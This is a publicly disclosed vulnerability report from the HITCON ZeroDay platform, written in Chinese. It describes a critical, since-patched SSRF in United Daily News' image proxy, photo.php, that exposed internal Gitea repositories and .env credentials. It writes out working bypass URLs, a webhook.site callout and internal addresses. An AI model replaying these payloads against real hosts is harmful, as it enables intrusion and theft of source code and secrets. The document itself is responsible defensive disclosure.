聯合報 圖床功能 SSRF,導致大量 Gitea 原始碼 + .env 外洩 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01565
  •  發信 Vendor: 聯合報
  • Title: 聯合報 圖床功能 SSRF,導致大量 Gitea 原始碼 + .env 外洩
  • Introduction: 圖床功能 SSRF

處理狀態

目前狀態

公開
Last Update : 2026/01/15
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/12/24 11:14:47 : 新提交 (由 yusheng 更新此狀態)
  • 2025/12/24 11:15:49 : 新提交 (由 yusheng 更新此狀態)
  • 2025/12/24 11:16:32 : 新提交 (由 yusheng 更新此狀態)
  • 2025/12/24 11:18:33 : 新提交 (由 yusheng 更新此狀態)
  • 2025/12/24 11:19:46 : 新提交 (由 yusheng 更新此狀態)
  • 2025/12/28 18:21:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:08:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:08:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:08:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/07 09:24:08 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/01/15 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01565
  • 通報者:cat1528985 (yusheng)
  • 風險:嚴重
  • 類型:Server-Side Request Forgery (SSRF)

參考資料

暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://udnpgw2026-proxy.udn.com.tw/gw/photo.php?u=
https://rs-pgw.udn.com.tw/gw/photo.php?u=
https://pgw.udn.com.tw/gw/photo.php?u=

敘述

recon 過程

  1. 在聯合報 (udn.com) 的多個 subdomain 都可以觀察到,圖片幾乎都是 https://pgw.udn.com.tw/gw/photo.php?u=http://uc.udn.com.tw/photo/2025/12/24/realtime/34030932.jpg&s=Y&x=0&y=14&sw=1158&sh=772&w=300 這種 URL
    圖片
  2. 可以將上述網址簡化成 https://pgw.udn.com.tw/gw/photo.php?u=圖片實際網址
  3. 從軟體開發的角度來看這個功能,可以推測是 photo.php 內部的程式碼會去請求對應網址的圖片,存到 Cloud Storage,然後前面墊一層 CDN(畢竟新聞網,圖片是佔比很重的資源,所以一定要載入快,使用者體驗才會優)
  4. 透過其他 subdomain (vip.udn.com) 繼續觀察,發現 u 還有另一種格式 https://pgw.udn.com.tw/gw/photo.php?u=/photo/2025/12/23/realtime/34028118.jpg&s=Y&x=0&y=0&sw=4602&sh=3132&exp=3600&w=1200&nt=1
    圖片
  5. 承上,單純 path 的格式,代表背後可能是 cloud-storage-bucket-name/${u} 來取得 Cloud Storage 對應的圖片
  6. 另外兩個 domain,https://rs-pgw.udn.com.twhttps://udnpgw2026-proxy.udn.com.tw ,最終的 Origin Server 也都是一樣的,可以從路徑是 /gw/photo.php 來推斷

exploit 過程

  1. 先嘗試最簡單的 SSRF:https://pgw.udn.com.tw/gw/photo.php?u=https://webhook.site/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ,結果 webhook.site 沒收到請求,代表 photo.php 針對 hostname 有做一些過濾
  2. 嘗試用 "embed Basic Authentication credentials in a URL" 技巧來繞過 Flawed URL Parser:https://pgw.udn.com.tw/gw/photo.php?u=https://[email protected]/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ,結果一次就 Bingo
    圖片
  3. 從外網 IP,回頭反查 whois,得知這是 Google 的雲服務
  4. 在開始探測內網前,要先確保探測內網 http://xxx.xxx.xxx.xxx 的 response.body 可以被存到 GCS (Google Cloud Storage),由於這是圖床服務,觀察到 photo.php "似乎"只會把圖片存進 GCS 並且回傳
  5. 承上,必須找出 photo.php "判斷資料為圖片" 的標準(Content-Type, File Extentsion, File Magic Bytes, PHP getimagesize...)
  6. 最初有發現 /file.svg 可以被快取,似乎只有檢查副檔名,但這樣會限制內網探測的可能性
  7. 後來發現用 ?whateverkey=.ico 或是 %23.ico 都可以 Bypass Flawed URL Parser(%23 是 # 的 URL Encode 版本)
  8. 根據以上探索,我們可以構造 https://pgw.udn.com.tw/gw/photo.php?u=https://vip.udn.com@localhost/?ext=.ico
  9. 實際內網探測時,發現 pgw.udn.com.tw 前面有 Cloudflare,rs-pgw.udn.com.tw 前面有 AkamaiGHost,以上兩者都有 WAF 的功能,但 udnpgw2026-proxy.udn.com.tw 防護比較弱,所以接下來都從這個 domain 來進行 SSRF 探測

最終探測結果

  1. 可探測 10.140.0.* 的各種服務(以下隨意列舉三個)
    10.140.0.48 聯合知識庫
    10.140.0.91 經濟日報
    10.140.0.195 琅琅原創
  2. 成功存取 Gitea 的大量 repos,且包含 .env 也有上傳到 Gitea,成功取得 MongoDB 的帳密
    圖片
    圖片
    圖片

責任聲明

  • 於 Gitea 存取到的 repos,皆已從本機刪除

漏洞嚴重度

9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

修補建議

  1. photo.php 的 Flawed URL Parser 要強化驗證
  2. 內網也需採取零信任架構,Gitea repos 可考慮改成需要驗證才能存取,且 .env 等機敏資訊不可直接上傳
  3. 可考慮把 "跑 photo.php 的那台機器" 跟內網網段做隔離,這樣即便有 SSRF,也可以大幅降低風險

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;